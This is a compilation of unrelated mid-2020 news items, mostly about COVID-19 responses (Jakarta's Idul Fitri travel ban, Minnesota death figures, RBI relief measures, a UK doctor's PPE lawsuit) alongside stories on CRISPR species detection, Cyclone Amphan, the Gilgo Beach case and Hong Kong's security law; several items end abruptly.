In Jakarta, the national epicenter of the viral outbreak, which has recorded 6,400 confirmed cases and 500 deaths as of Friday, authorities have ramped up efforts to prevent people from traveling to visit their relatives during Idul Fitri.

The central government has officially banned mudik (Idul Fitri exodus) in an attempt to curb the spread of COVID-19, but people have still felt compelled to test the limits of the ban.

Residents of Greater Jakarta insist that mudik lokal  visiting relatives within the agglomeration area of 30 million inhabitants  should still be allowed.

Jakarta Governor Anies Baswedan recently issued an order banning people from entering or leaving Jakarta without prior approval. And while exceptions to the rule seem to apply, he insisted that even local visits were not permitted.

The virus knows no holidays; it doesnt care if it is Lebaran [Idul Fitri]. Lets not exacerbate the situation in Greater Jakarta [...] and render our efforts over the past two months useless, Anies said. Everyone needs to stay at home.

Jakarta Transportation Agency head Syafrin Liputo said that on Friday, the city administration would begin to deploy officers from the Jakarta Transportation Agency, the Public Order Agency (Satpol PP) and the Jakarta Police to 13 checkpoints throughout the city to enforce the regulation.

Police officers will also be patrolling the streets for violators.

Those who need to travel to and from the capital must be able to produce the necessary permits, which can be downloaded from the corona.jakarta.go.id website. These include, among other requirements, a reference letter from the applicants company or institution and a health clearance letter.

Hopefully, people will obey the rules. We dont want to be in the PSBB situation forever, Syafrin said.

Jakarta imposed the PSBB on April 10. It has twice extended the restrictions, with the current run ending on June 4.

Authorities have observed a low level of compliance among the general public from the outset of the curbs, with packed roads and crowds of more than five persons being seen everywhere.

Anies himself acknowledged that people were spending more time outside during the afternoon and evenings during the fasting month of Ramadan, which ultimately leads to a rise in the number of new cases.

And yet, people find all sorts of reasons to observe the annual tradition.

The call to worship at home is particularly dilemmatic for Jakarta resident Lia Nindya, who plans to visit her father in South Tangerang on the first day of Idul Fitri.

Lebaran seems the right moment for my father to see his granddaughter, three months after her birth. She is his first grandchild, she told the Post.

I would probably not go if I did not have a baby.

Only recently becoming aware of the restrictions that are in force, Lia said she would not get into an argument with the authorities if she was asked to turn back during the trip to her fathers place.

The government, with backing from the Indonesian Ulema Council (MUI) and a number of clerics, has called on Muslim worshipers to celebrate takbiran (eve of Lebaran) and perform the Idul Fitri prayers at home and through virtual gatherings.

We can do video calls with our relatives. Silaturahmi is judged by the closeness of our hearts and not our physical proximity, Religious Affairs Minister Fachrul Razi said at a press conference on Thursday.

The government has pushed back the Idul Fitri mandatory leave of absence to the end of December this year to prevent people from joining the exodus, during which 18.3 million travelers to and from urban centers across the country were recorded in the seven days before and after last years celebrations.

However, a good portion of Greater Jakarta residents have already left for their hometowns earlier than usual, owing to the impact that COVID-19 restrictions has had on their livelihoods.
Minneapolis boy mayor Jacob Frey is concerned that Governor Walz is enjoying all the action. He means to get in on it. Frey has now ordered face masks to be worn by those over the age of 2 inside all places of public accommodation, effective next week. Noncompliance is subject to a $1,000 fine.

Who was that unmasked man? We are about to find out. The rest of us will avoid places of public accommodation in Minneapolis and tell Mayor Frey to shove it. I could write the Star Tribune editorial that will support this imposition in my sleep tonight.

Minnesota reached a new daily high of 32 deaths attributed to COVID-19 yesterday, bringing the total to 832. (The previous daily high was 30.) Twenty-eight of the 32 new deaths  87.5 percent  occurred among residents of long-term care facilities, bringing that total to 663. Eighty-two percent of all deaths attributed to the disease in Minnesota to date have taken place in nursing homes and other assisted-living facilities.

The age breakdown of the new decedents followed the usual pattern. Twelve were in their 90s, 12 were in their 80s, six were in their 70s, one was in his 60s and one in his 50s.

At yesterdays daily press briefing, Health Commissioner Jan Malcolm declared that progress was being made in the Walz administrations 5-point battle plan (thats what they call it) to address the nursing home crisis, as Ive been calling it since early in this series. Nevertheless, we havent yet seen progress in the numbers or even asked what took the authorities so long to notice this particular problem.

I have posted the audio of yesterdays press briefing below. It runs only 33 minutes. Not a single question addressed the nursing home crisis, which has become a national scandal. One question posed to the assembled officials asked them to elaborate on their fears over the possibility that church services may resume in a fashion that defies the applicable Walz diktat. The state of mind on display by the press is sheepish at best. No discord breaks the circle love.

Ninety-eight to 99 percent of all deaths attributed to the disease in Minnesota have occurred among the physically compromised populations in congregate care settings and among others with significant underlying medical conditions, according to the data provided by these officials. The medical conditions are identified in Walz Executive Order 20-55 as respiratory disease, severe obesity, diabetes, and so on. If I were conducting these briefings instead of being excluded from them, I would identify these conditions at the top of each briefing and warn those with one or more of the conditions of the risks they face. That, however, is not Minnesota Way we have heard so much about from Governor Walz.

At about 25:45 of the audio recording Infectious Diseases Division Director Kris Ehresmann offers a comment about those with serious underlying medical conditions in the context of the governors unconstitutional church shutdown. This too has made Minnesota a national disgrace, but thats not how Ehresmann sees it.

Ehresmann meditates (my transcription): One of the things that has been discussed in the place that I worship is the concern that even if they could open up, their concern is for members who are in vulnerable groups who would so want to be a part of the community that it would be too much of a pull, and so wed get people who would be particularly at risk that would want to attend and I think that Ive appreciated that perspective. And for me thats been important to keep in mind, you know, what may seem to be okay for a certain segment of the population could have devastating consequences for others and so to be willing to consider that need higher than our own [sic]. This is the Minnesota Way we have heard so much about from Governor Walz.
Dresden Raceway will have horses circling the local oval this summer but will have several strict COVID-19 procedures in place for the safety of all participants.

Dresden will have nine live race cards starting June 7 and running through August 3 with a new post time of 1:00 p.m.

The most notable COVID-19 precaution is that fans will not be allowed on Dresden Raceway property during the races as under orders from the Province of Ontario.

Fans who are still looking to get their fix will be able to watch races as they will be streamed live at dresdenraceway.ca and live viewing and wagering will be available on the HPI Network.

Dresden Raceway will be hosting qualifiers on Sunday, May 31 going to post at 12:00 noon.

DRESDEN RACEWAY COVID-19 PROTOCOLS AND PROCEDURES

All People MUST pass a screening questionnaire and a temperature reading before entering Dresden Raceway backstretch.

All People on the grounds at Dresden Raceway MUST wear a mask covering their nose and mouth.

All People on the grounds at Dresden Raceway MUST practice social distancing.

ADMITTANCE ONLY to those participants that have a horse racing. Only one participant per horse. (Some exclusions will be made for multiple horse trainers/drivers)

All People entering the backstretch area MUST be licensed by AGCO and people age 16 and under are NOT permitted.

All Trucks and Trailers MUST be parked in designated areas near the barn where your horse is being stabled and all personal vehicles not transporting horses will be parked outside the gate.

NO SPECTATORS ALLOWED

These protocols are subject to change depending on government instructionsthey may be loosened or tightened. (PEOPLE NOT ADHERING TO PROTOCOL WILL BE EJECTED)

(Dresden)
The gene-editing technology CRISPR has been used for a variety of agricultural and public health purposes -- from growing disease-resistant crops to, more recently, a diagnostic test for the virus that causes COVID-19.

Now a study involving fish that look nearly identical to the endangered Delta smelt finds that CRISPR can be a conservation and resource management tool, as well. The researchers think its ability to rapidly detect and differentiate among species could revolutionize environmental monitoring.

The study, published in the journal Molecular Ecology Resources, was led by scientists at the University of California, Davis, and the California Department of Water Resources in collaboration with MIT Broad Institute.

As a proof of concept, it found that the CRISPR-based detection platform SHERLOCK (Specific High-sensitivity Enzymatic Reporter Unlocking) was able to genetically distinguish threatened fish species from similar-looking nonnative species in nearly real time, with no need to extract DNA.

"CRISPR can do a lot more than edit genomes," said co-author Andrea Schreier, an adjunct assistant professor in the UC Davis animal science department. "It can be used for some really cool ecological applications, and we're just now exploring that."

WHEN GETTING IT WRONG IS A BIG DEAL

The scientists focused on three fish species of management concern in the San Francisco Estuary: the U.S. threatened and California endangered Delta smelt, the California threatened longfin smelt and the nonnative wakasagi. These three species are notoriously difficult to visually identify, particularly in their younger stages.

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Hundreds of thousands of Delta smelt once lived in the Sacramento-San Joaquin Delta before the population crashed in the 1980s. Only a few thousand are estimated to remain in the wild.

"When you're trying to identify an endangered species, getting it wrong is a big deal," said lead author Melinda Baerwald, a project scientist at UC Davis at the time the study was conceived and currently an environmental program manager with California Department of Water Resources.

For example, state and federal water pumping projects have to reduce water exports if enough endangered species, like Delta smelt or winter-run chinook salmon, get sucked into the pumps. Rapid identification makes real-time decision making about water operations feasible.

FROM HOURS TO MINUTES

Typically to accurately identify the species, researchers rub a swab over the fish to collect a mucus sample or take a fin clip for a tissue sample. Then they drive or ship it to a lab for a genetic identification test and await the results. Not counting travel time, that can take, at best, about four hours.

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SHERLOCK shortens this process from hours to minutes. Researchers can identify the species within about 20 minutes, at remote locations, noninvasively, with no specialized lab equipment. Instead, they use either a handheld fluorescence reader or a flow strip that works much like a pregnancy test -- a band on the strip shows if the target species is present.

"Anyone working anywhere could use this tool to quickly come up with a species identification," Schreier said.

OTHER CRYPTIC CRITTERS

While the three fish species were the only animals tested for this study, the researchers expect the method could be used for other species, though more research is needed to confirm. If so, this sort of onsite, real-time capability may be useful for confirming species at crime scenes, in the animal trade at border crossings, for monitoring poaching, and for other animal and human health applications.

"There are a lot of cryptic species we can't accurately identify with our naked eye," Baerwald said. "Our partners at MIT are really interested in pathogen detection for humans. We're interested in pathogen detection for animals as well as using the tool for other conservation issues."

This study was funded with support from the California Department of Water Resources.
This obituary is part of a series about people who have died in the coronavirus pandemic. Read about others here.

Brian Stover remembered his first day of high school, in 1984. He was standing alone, recognizing no one.

I was looking for someone, anyone I knew to cling to for comfort, Mr. Stover wrote on Facebook the day that Lloyd Cornelius Porter died of the novel coronavirus at 49.

And there he was. Corny Porter was standing in the middle of the quad looking around too. We first met in 5th grade and were friends immediately, he wrote. So, when our eyes met that day in the quad, such a sigh of relief came over me.
By PTI

DHAKA: All Rohingya refugees staying at an island in the Bay of Bengal are safe after super-cyclone Amphan ravaged Bangladesh's southwestern coastlines, Foreign Minister AK Abdul Momen said on Friday, dismissing the international concern about their safety.

Bangladesh last year constructed facilities for 100,000 people on Bhashan Char, a silt islet in the coastal belt, saying they needed to take the pressure off crowded border camps that are home to almost one million Rohingya.

"Many people thought that cyclone surges would inundate Bhashan Char but the tidal waves could not penetrate there. All who are staying at the island are safe," he said in a statement through virtual media.

ALSO READ | Work comes to virtual standstill as super cyclone Amphan cuts Kolkata off the grid

Cyclone Amphan has killed at least 22 people in Bangladesh and left many displaced in the country's coastal areas.

Cyclone 'Amphan', the strongest to hit the region in nearly two decades, made landfall on Wednesday evening.

It was the most powerful storm since cyclone 'Sidr' killed nearly 3,500 people in 2007.

Momen said two mega-dams, the outer one being 12 feet high and inner structure being 33 feet high, ensured the protection of the offshore island.

"Records suggest the island never had witnessed tidal surges above 15 feet high, foreign companies built the dams which were strong enough to protect Bhashan Char from cyclone storms or surges," the minister said.

The island is 37 miles off the mainland in the central part of Bangladesh coast under the administrative jurisdiction of Hatiya Upazila.

Over a million of the forcibly displaced people from Myanmar were provided refuge there.

Momen said Bhashan Char could be a much better abode for the Rohingyas where they could live a normal life getting engaged in fishing, cattle farming and crop cultivation as means of their livelihood.

Momen also expressed doubts whether the foreign aid agencies were opposed to the relocation plan for the sake of the Rohingyas or their inconvenience.

Momen simultaneously criticized the attitudes of rights groups and various countries which suggest that it was Bangladesh which should shoulder the responsibility of the Rohingyas.
A heavily-pregnant doctor has shared an emotional video to her unborn child 'just in case' she dies of COVID-19 before the baby is born.

Dr Meenal Viz, a clinical fellow in medicine based in London, posted the moving footage to her social media accounts, showing images of life before and during the pandemic.

Dr Viz, along with her husband GP trainee Dr Nishant Joshi, is bringing a legal challenge against the Government over the lawfulness of current guidance and a failure to source PPE for NHS staff. The couple have brought a complaint against the Department of Health and Public Health England.

In her video, Dr Viz, who is seven months pregnant and currently working from home, says: 'Dear Radhika, in just 63 days this is going to be your new home. I hope I get to show it you, my favourite places, and all my favourite people.

'You see you're arriving at a very difficult time, people are dying, the world is at war, and the people on the frontlines aren't soldiers. They're people like your dad and people like me. So I'm leaving you this message just in case.'

Scroll down for video

Dr Meenal Viz, a clinical fellow in medicine based in London, posted the moving footage to her social media accounts, showing images of life before and during the pandemic. It also shared an ultrasound image of her baby (pictured)

So far, the couple's fundraising Crowdjustice page has raised 36,313, while Meenal's Instagram post was liked more than 200 times and her tweet received 1,000 likes. The pair pictured together

A heavily-pregnant doctor (pictured) has shared an emotional video to her unborn child 'just in case' as she works on the NHS frontline fighting the coronavirus

Snaps at the end of the clip read: 'Our nhs workers are dying. Help Meenal challenge the Government for better PPE,' while a link to the couple's fundraising page was shared in the caption.

So far, the couple's page has raised 36,313, while Meenal's Instagram post was liked more than 200 times and her tweet received 1,000 likes.

Sharing the footage, Meenal wrote: 'I'm a pregnant frontline doctor. #ClapForCarers is great, but for me it's not enough.'

Meenal and her husband (pictured together) say they have been exposed to patients with coronavirus and challenge the lawfulness of current PPE guidance on when and how equipment is used, as well as its availability

Meenal and her husband say they have been exposed to patients with coronavirus and challenge the lawfulness of current PPE guidance on when and how equipment is used, as well as its availability.

The mother-to-be appeared on Good Morning Britain this morning after their pre-action letter was announced yesterday.

The couple are challenging the guidance on the basis that it differs from both World Health Organisation guidelines and the UK's own health and safety legislation.

Last month, Meenal held a placard outside Downing Street in protest of the current guidance, which her and her husband argue is unclear.

Meenal holds a banner as she protests outside Downing Street in London on April 19, 2020

The couple said it exposes healthcare workers to a higher risk of contracting the virus, and does not address increased risks to BAME people in the field.

They added that the guidance does not make clear that healthcare workers have a right to refuse to work without adequate PPE.

The two doctors are calling for an review of the guidance and confirmation from Health Secretary Matt Hancock that the Government is urgently sourcing more equipment.

Meenal appeared on Good Morning Britain last month after the couple's pre-action letter against the Department of Health and Public Health England was announced

Nishant (pictured), who works at Luton and Dunstable general hospital, first spoke out about the issue last month, and is now challenging the Government's guidance with his wife

In a statement they said: 'We are incredibly concerned at the ever-growing numbers of healthcare workers who are becoming seriously unwell and dying due to coronavirus.

'It is the Government's duty to protect its healthcare workers, and there is great anxiety amongst staff with regards to safety protocols that seem to change without rhyme or reason.

'Every time a healthcare worker becomes hospitalised with Covid-19, it exacts an extraordinary toll on our friends, family and colleagues.

'To sedate and ventilate your own colleague takes a mental toll on the entire workforce. The Government needs to protect us, so that we can protect you.'

More than 300 NHS and social care workers have died after contracting Covid-19.

The Department of Health and Social Care (DHSC) told the BBC it could not comment on pending or potential legal action.
carlballou/iStockBy AARON KATERSKY and ELLA TORRES, ABC News



(SUFFOLK COUNTY, N.Y.) -- Police in Long Island announced Friday they will release the identity of a previously unidentified victim of the unsolved Gilgo Beach murders.



The Suffolk County Police Department said in a statement they had positively identified the Manorville Jane Doe, also referred to as Jane Doe #6," whose remains were located in Manorville in 2000 and Gilgo Beach in 2011.



It was not immediately clear when they would make the announcement, but police told ABC News it was "unlikely" anything would be released Friday or Saturday.



The Gilgo Beach murders have long been shrouded in mystery.



In 2010 and 2011, the remains of 10 people were discovered in Gilgo Beach in weedy sections of Ocean Parkway near Jones Beach. Five of the victims had not yet been identified until the announcement Friday.



A suspect has not been caught; however, police previously told ABC News they are working under the assumption that a serial killer is to blame in some, if not all, of the killings.



Police made the grisly discover while searching for a missing sex worker, Shannan Gilbert. Her body was eventually found in December 2011 in nearby Oak Beach, which is also along Ocean Parkway. Police do not believe her death is tied to the others because she "doesn't match the pattern of the Gilgo Beach homicides," but have also said that her death is part of the active investigation into the Gilgo Beach murders.



In January, police released what they called a "significant piece of evidence" involving the murders. The evidence was a photograph of a black leather belt embossed with the letters "WH" or "HM," depending on how it's held.



Suffolk County Police Commissioner Geraldine Hart said at a press conference she believed the suspect in the murders "handled" the belt, but would not elaborate.



A website was also launched for the case, gilgonews.com, to provide updates and collect tips.



The identification of Jane Doe #6 was made using DNA technology, according to police.



Copyright  2020, ABC Audio. All rights reserved.
New Delhi: RBI Governor Shaktikanta Das addressed a press conference announcing measures to ease the financial stress caused by the COVID-19 pandemic. This is his third press conference (the other two being on March 27 and April 17).

Here is the Full text of his Statement on Developmental and Regulatory Policies

This Statement sets out various developmental and regulatory policy measures to improve the functioning of markets and market participants; measures to support exports and imports; efforts to further ease financial stress caused by COVID-19 disruptions by providing relief on debt servicing and improving access to working capital; and steps to ease financial constraints faced by state governments.

I. Measures to Improve the Functioning of Markets

These measures are intended to ease constraints on market participants and channel liquidity to various sectors of the economy that are impacted by COVID-19 related dislocations.

1. Refinancing Facility for Small Industries Development Bank of India (SIDBI)

The Small Industries Development Bank of India (SIDBI) plays an important role in meeting the long-term funding requirements of small industries. In view of the tightening of financial conditions in the wake of the COVID-19 pandemic, and difficulties in raising resources from the market, the RBI had announced a special refinance facility of 15,000 crore to SIDBI for on-lending/refinancing. Advances under this facility were provided at the RBIs policy repo rate at the time of availment for a period of 90 days. In order to provide greater flexibility to SIDBI in its operations, it has been decided to roll over the facility at the end of the 90th day for another period of 90 days.

2. Investments by Foreign Portfolio Investors (FPIs) under the Voluntary Retention Route (VRR)

The regulatory framework for FPI investment in debt has evolved over the years in line with the policy objective of encouraging such flows within the prevailing macro-prudential framework. The Voluntary Retention Route (VRR) introduced in March 2019 facilitates long term and stable FPI investment in debt and offers operational flexibility in terms of instrument choices and exemptions from certain regulatory requirements. Since its introduction, the VRR scheme has evinced strong investor participation, with investments exceeding 90 per cent of the limits allotted under the scheme. In view of difficulties expressed by FPIs and their custodians on account of COVID-19 related disruptions in adhering to the condition that at least 75 per cent of allotted limits be invested within three months, it has been decided that an additional three months will be allowed to FPIs to fulfil this requirement. Detailed guidelines are being issued separately.

II. Measures to Support Exports and Imports

The deepening of the contraction in global activity and trade, which has become accentuated by the outbreak of COVID-19 and its rapid spread, has crippled external demand. In turn, this has impacted Indias exports and imports both of which have contracted sharply in recent months. In view of the importance of exports in earning foreign exchange and in providing income and employment; and of imports in bringing in essential requirements of raw materials, intermediates, finished goods and technology, measures are being taken to support the foreign trade sector.

3. Export Credit

Exporters have been facing genuine difficulties such as delay/ postponement of orders and delay in realisation of bills, which are adversely affecting their production and realisation cycles. It is in this context that the RBI permitted an increase in the period of realization and repatriation of export proceeds to India from nine months to 15 months from the date of export in respect of exports made up to or on July 31, 2020. It has now been decided to increase the maximum permissible period of pre-shipment and post-shipment export credit sanctioned by banks from the existing one year to 15 months, for disbursements made up to July 31, 2020.

4. Liquidity Facility for Exim Bank of India

The Export-Import Bank of India provides financial assistance to exporters and importers with a view to promoting the country's international trade. In view of the COVID-19 pandemic, however, global trade has contracted sharply and global financial markets have turned highly volatile and risk averse, especially to EMEs. As Exim Bank predominantly relies on foreign currency resources raised from international financial markets for its operations, it is facing challenges to raise funds in international debt capital markets. Accordingly, it has been decided to extend a line of credit of 15,000 crore to the EXIM Bank for a period of 90 days from the date of availment with rollover up to a maximum period of one year so as to enable it to avail a US dollar swap facility to meet its foreign exchange requirements.

5. Extension of Time for Payment for Imports

COVID-19 related disruptions to cross-border trade have imposed slowdown in manufacturing/sale of finished products, and delay in realisation of sale proceeds, both domestically and overseas. In turn, this has elongated the operating cycle for business entities. In this situation, units find it difficult to pay for their imports within the time stipulated under the Foreign Exchange Management Act (FEMA). At present, remittances for normal imports (excluding import of gold/diamonds and precious stones/jewellery) into India are required to be completed within a period of six months from the date of shipment by the overseas supplier, except in cases where amounts are withheld towards guarantee of performance. It has been decided to extend the time period for completion of remittances against normal imports into India (except in cases where amounts are withheld towards guarantee of performance) from six months to twelve months from the date of shipment for such imports made on or before July 31, 2020. The measure will provide greater flexibility to importers in managing their operating cycles in a COVID-19 environment.

III. Measures to Ease Financial Stress

The intensification of COVID-19 disruptions has imparted priority to relaxing repayment pressures and improving access to working capital by mitigating the burden of debt servicing, prevent the transmission of financial stress to the real economy, and ensure the continuity of viable businesses and households.

6. Moratorium on Term Loan Instalments

On March 27, 2020, the RBI permitted all commercial banks (including regional rural banks, small finance banks and local area banks), co-operative banks, all-India Financial Institutions, and NBFCs (including housing finance companies and micro-finance institutions) (referred to hereafter as lending institutions) to allow a moratorium of three months on payment of instalments in respect of all term loans outstanding as on March 1, 2020. In view of the extension of the lockdown and continuing disruptions on account of COVID-19, it has been decided to permit lending institutions to extend the moratorium on term loan instalments by another three months, i.e., from June 1, 2020 to August 31, 2020. Accordingly, the repayment schedule and all subsequent due dates, as also the tenor for such loans, may be shifted across the board by another three months.

7. Deferment of Interest on Working Capital Facilities

In respect of working capital facilities sanctioned in the form of cash credit/overdraft, lending institutions are being permitted to allow a deferment of another three months, from June1, 2020 to August 31, 2020, in addition to the three months allowed on March 27, 2020 on payment of interest in respect of all such facilities outstanding as on March 1, 2020.

8. Payment of Interest on Working Capital Facilities for the Deferment Period

In order to ameliorate the difficulties faced by borrowers in repaying the accumulated interest for the deferment period on working capital facilities in one shot, lending institutions are permitted to convert the accumulated interest on working capital facilities over the deferment period (up to August 31, 2020) into a funded interest term loan which shall be repayable not later than the end of the current financial year (i.e., March 31, 2021). Lending institutions may, accordingly, put in place a Board approved policy to implement the measures announced in para 6, 7, 8.

9. Asset Classification

(i) As the moratorium/deferment is being provided specifically to enable borrowers to tide over COVID-19 disruptions, the same will not be treated as changes in terms and conditions of loan agreements due to financial difficulty of the borrowers and, consequently, will not result in asset classification downgrade. (ii) As earlier, the rescheduling of payments on account of the moratorium/deferment will not qualify as a default for the purposes of supervisory reporting and reporting to credit information companies (CICs) by the lending institutions. CICs shall ensure that the actions taken by lending institutions in pursuance of the announcements made today do not adversely impact the credit history of the borrowers. (iii) In respect of all accounts for which lending institutions decide to grant moratorium/deferment, and which were standard as on March 1, 2020, the 90-day NPA norm shall also exclude the extended moratorium/deferment period. Consequently, there would be an asset classification standstill for all such accounts during the moratorium/deferment period from March 1, 2020 to August 31, 2020. Thereafter, the normal ageing norms shall apply. (iv) NBFCs, which are required to comply with Indian Accounting Standards (IndAS), may follow the guidelines duly approved by their Boards and advisories of the Institute of Chartered Accountants of India (ICAI) in recognition of impairments. Thus, NBFCs have flexibility under the prescribed accounting standards to consider such relief to their borrowers.

10. Easing of Working Capital Financing

(i) In respect of working capital facilities sanctioned in the form of cash credit/overdraft, lending institutions are permitted to recalculate the drawing power by reducing the margins till the extended period, i.e., August 31, 2020. In order to smoothen the impact for the borrowers, lending institutions are permitted to restore the margins to the original levels by March 31, 2021. (ii) Further, lending institutions are permitted to reassess the working capital cycle of a borrowing entity up to an extended period till March 31, 2021. This will provide necessary leeway to the lenders to make an informed assessment about the impact of the pandemic on the entity concerned. (iii) Such changes in credit terms permitted to the borrowers to specifically tide over COVID-19s fallout will not be treated as concessions granted due to financial difficulty of the borrower, under Paragraph 2 of the Annex to the Reserve Bank of India (Prudential Framework for Resolution of Stressed Assets) Directions, 2019 dated June 7, 2019 (Prudential Framework), and consequently, will not result in asset classification downgrade.

11. Extension of Resolution Timeline

Under the Prudential Framework, lending institutions are required to hold an additional provision of 20 per cent in the case of large accounts under default if a resolution plan has not been implemented within 210 days from the date of such default. Given the continuing challenges to resolution of stressed assets, lending institutions are permitted to exclude the entire moratorium/deferment period from March 1, 2020 to August 31, 2020 from the calculation of 30-day Review Period or 180-day Resolution Period, if the Review/Resolution Period had not expired as on March 1, 2020.

12. Limit on Group Exposures under the Large Exposures Framework

Under the extant guidelines on the Large Exposures Framework, the exposure of a bank to a group of connected counterparties shall not be higher than 25 percent of the banks eligible capital base at all times. On account of the COVID-19 pandemic, debt markets and other capital market segments are witnessing heightened uncertainty. As a result, many corporates are finding it difficult to raise funds from the capital market and are predominantly dependent on funding from banks. With a view to facilitating the flow of resources to corporates, it has been decided, as a one-time measure, to increase a banks exposure to a group of connected counterparties from 25 per cent to 30 per cent of the eligible capital base of the bank. The increased limit will be applicable up to June 30, 2021.

IV. Debt Management

13. Consolidated Sinking Fund (CSF) of State Governments - Relaxation of Guidelines

State Governments maintain a Consolidated Sinking Fund (CSF) with the Reserve Bank as a buffer for repayment of their liabilities. In the light of the Covid-19 pandemic and the consequent stress on State Government finances, the RBI has reviewed the Scheme and has decided to relax the rules governing withdrawal from the CSF, while at the same time ensuring that depletion of the Fund balance is done prudently. This will enable States to meet a larger proportion of their redemption of market borrowings falling due in the current financial year from the CSF. These relaxations to states will release an additional amount of about 13,300 crore. Together with the normally permissible withdrawal, this measure will enable the states to meet about 45 per cent of their redemptions due in 2020-21 through withdrawal from CSF. This change in withdrawal norms will come into force with immediate effect and will remain valid till March 31, 2021. In response to COVID-19, the requirement of fiscal resources has increased with likely implications for market conditions going forward. The RBI shall remain watchful and support the smooth completion of the borrowing programme of the Centre and States in the least disruptive manner.
Protests against China's authoritarian rule have been violent - GETTY IMAGES

China will impose a sweeping national security law in Hong Kong, an effective death sentence for the territory as the ruling Communist Party exerts greater control, signalling its frustrations with longstanding  and sometimes violent  unrest in the city.

The timing comes as no surprise  Party leader Xi Jinping is looking to shore up power and quash dissent following a year rife with challenges to his authority.

Mass protests roiled Hong Kong for months last year, sparked by an extradition bill that mushroomed into a wider movement against Beijings encroaching influence. Millions took to the streets night after night, and a small group began calling for independence.

Turmoil faded only as public health concerns over the coronavirus pandemic took hold  yet another debacle, with criticism levied at home and abroad against the government for covering up the scale of the outbreak.

Ahead of autumn elections for the citys legislature, Party officials feared losing its pro-Beijing majority after pro-democracy candidates swept lower-level elections last year, reflecting widespread discontent with the Partys growing role.

President Xi is trying to repel growing challenges to the regime's authority - GETTY IMAGES

Sliding in these changes now also comes as the rest of the world is busy battling the coronavirus. While it sets the stage for more tumult  calls are already resounding to take to the streets this weekend  the government will soon have a new tool for cracking down.

The move will be near-impossible to walk back, affirming that Hong Kongs rule of law could soon become rule by law, paving the way for officials to silence dissent under the premise of protecting national security.

Both the act of installing the law  and overriding local officials to do so  erode the one country, two systems style of governance, dealing a final blow to the framework that has allowed the territory to enjoy relative autonomy for 23 years.

Story continues

That firewall, which has allowed the city to flourish as a global financial centre, was aimed at preserving rights and freedoms in the former British colony unseen on the mainland under Party rule.

This law will introduce a range of vague and draconian changes to Hong Kong law, including subversion, secession, and colluding with foreign political forces, said Johnny Patterson, director of Hong Kong Watch, an advocacy group.

All countries have a duty to protect their own national security, but not at the expense of fundamental rights and freedoms.

People in Hong Kong already spoke out against the idea  in 2003, a contentious national security bill put forward by city lawmakers was scrapped after mass protests.

But that, nor the fact this could further inflame tensions with the US and the UK, seems to ruffle Beijing.

Strongman Mr Xi appears willing to take that risk, eager for a win as he continues touting his brand of authoritarianism as an alternative to Western-style democracies.


LONDON (dpa-AFX) - Shares of Go-Ahead Group Plc. (GOG.L) were losing around 17 percent in the early morning trading in London after the Public transport operator Friday said it now expects sharply lower operating profit for fiscal 2020. Looking ahead, the company noted that it is not in a position to provide guidance in relation to the 2020/21 financial year or beyond at this stage due to Covid-19 impact.



In its trading update for the year ending June 27, the company said it now expects Group operating profit to be in the range of 63 million pounds to 75 million pounds or 54 million pounds to 66 million pounds on a pre-IFRS 16 basis. The outlook reflects the impact of COVID-19 and support measures.



In the previous year, operating profit was 104.3 million pounds and adjusted operating profit was 121.1 million pounds.



The company said it expects full-year operating profit for the regional bus division to be in the range of 17 million pounds to 21 million pounds, on both a pre and post-IFRS 16 basis.



Operating profit for the London & International bus division is expected to be in the range of 46 million pounds to 50 million pounds or 45 million pounds to 49 million pounds on a pre-IFRS 16 basis.



Rail division is expected to report operating profit in the range of nil to 4 million pounds or a loss of 4 million pounds to 8 million pounds on a pre-IFRS 16 basis, with the loss in German rail offsetting profit from the UK rail business.



In London, Go-Ahead shares were trading at 1,021 pence, down 16.92 percent.



Copyright RTT News/dpa-AFX

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After weeks of lockdown, many people are accepting that the vision they had for this year has become more fantasy than reality.

With this in mind, social media users from around the globe have shared memes making light of just how much their year has been ruined by the coronavirus crisis.

In one instance, a user compared 2020 to Tiger King's Joe Exotic trying to take out his arch rival Carol Baskin.

Elsewhere, a user from the US, likened their hopes for the year to Taylor Swift picking up her 2009 MTV Music Video Award before it was snatched away on stage by Kanye West.

Here, FEMAIL reveals the most hilarious memes about lockdown ruining your plans for the year.

Social media users from around the globe have shared visual representations of just how much their year has been ruined by the coronavirus crisis. Eric, from the US, shared a picture of Tiger King Joe Exotic alongside his arch rival Carol Baskin, who he hated so much, he tried to take a hit out on during their long-standing big cat feud

'Imma let you finish'! This user from the US, likened their hopes for the year to Taylor Swift picking up her 2009 MTV Music Video Award before it was snatched away on stage by Kanye West

Maybe next season! Sai, from India, shared a picture of Otis from Sex Education, who many viewers wanted to become an item with Maeve, before she started dating new character Isaac

You think you're having a bad year! This user, from Guadeloupe, shared a picture of Beck from Netflix's You, before she came to her unfortunate end at the hands of sociopath boyfriend Joe

I have to apologize! Nikki, from an unknown location, shared a picture of the Miss Universe competition back in 2015. Steve Harvey accidentally announced Miss Colombia Ariadna Gutierrez as the winner, when it was really Miss Philippines Pia Wurtzbach

What the hell! One user, from Spain, shared a picture of Phoebe Waller Bridge's character in Fleabag, whose plans to have a relationship with a hot priest are foiled by his commitment to the church

Even Hollywood star Joseph Gordon Levitt got involved in the action, sharing two snaps from his hit film '500 Days of Summer' after his character was dumped

Avi, from the US, shared a picture of Andy King from the popular Netflix documentary about the failed Fyre Festival - comparing it to our 2020

I'd like to keep it on please! One user, from the US, shared a picture of Ru Paul's Drag Race star Valentina, who famously kept her mask on to avoid a lip sync she didn't know the words to

Oh rats! Niamh, from Leeds, shared a picture of Remmy from Pixar cartoon Ratatouille alsongside his arch nemesis Chef Skinner - reveling she should have been in Paris

What's the 411? Sam Taggart, from Brooklyn, New York, shared a picture of the Parent Trap twins next to evil stepmother Meredith Blake - likening her to 2020

This is the bad place! Lisa, from the US, shared a picture of Eleanor from Netflix series The Good Place, after realising that she is in fact in the Bad Place

The new normal? A normal people fan account shared a snap of Marianne and Connell after being interrupted by her boyfriend James - joking that many could relate
A bit boozy and a bit buzzy. Some people are finding coffee-based cocktails are a delicious way to enjoy coffee in a new way.

Biggby Coffee co-CEO Bob Fish invited us into his kitchen via video and shared one of his signature cocktail recipes with MLive, a Tiramisu Latte that is a creamy dream with a nice little pick-me-up.

Fish and his wife, Michelle, have always had a weekly date night and theyve continued their tradition even through the coronavirus pandemic. Now instead of going out, they stay in, and make special cocktails to enjoy together.

Sometimes coffee can just be too serious, Fish said. I started dreaming about how coffee could be an ingredient (in cocktails) and determined that it was infinite.

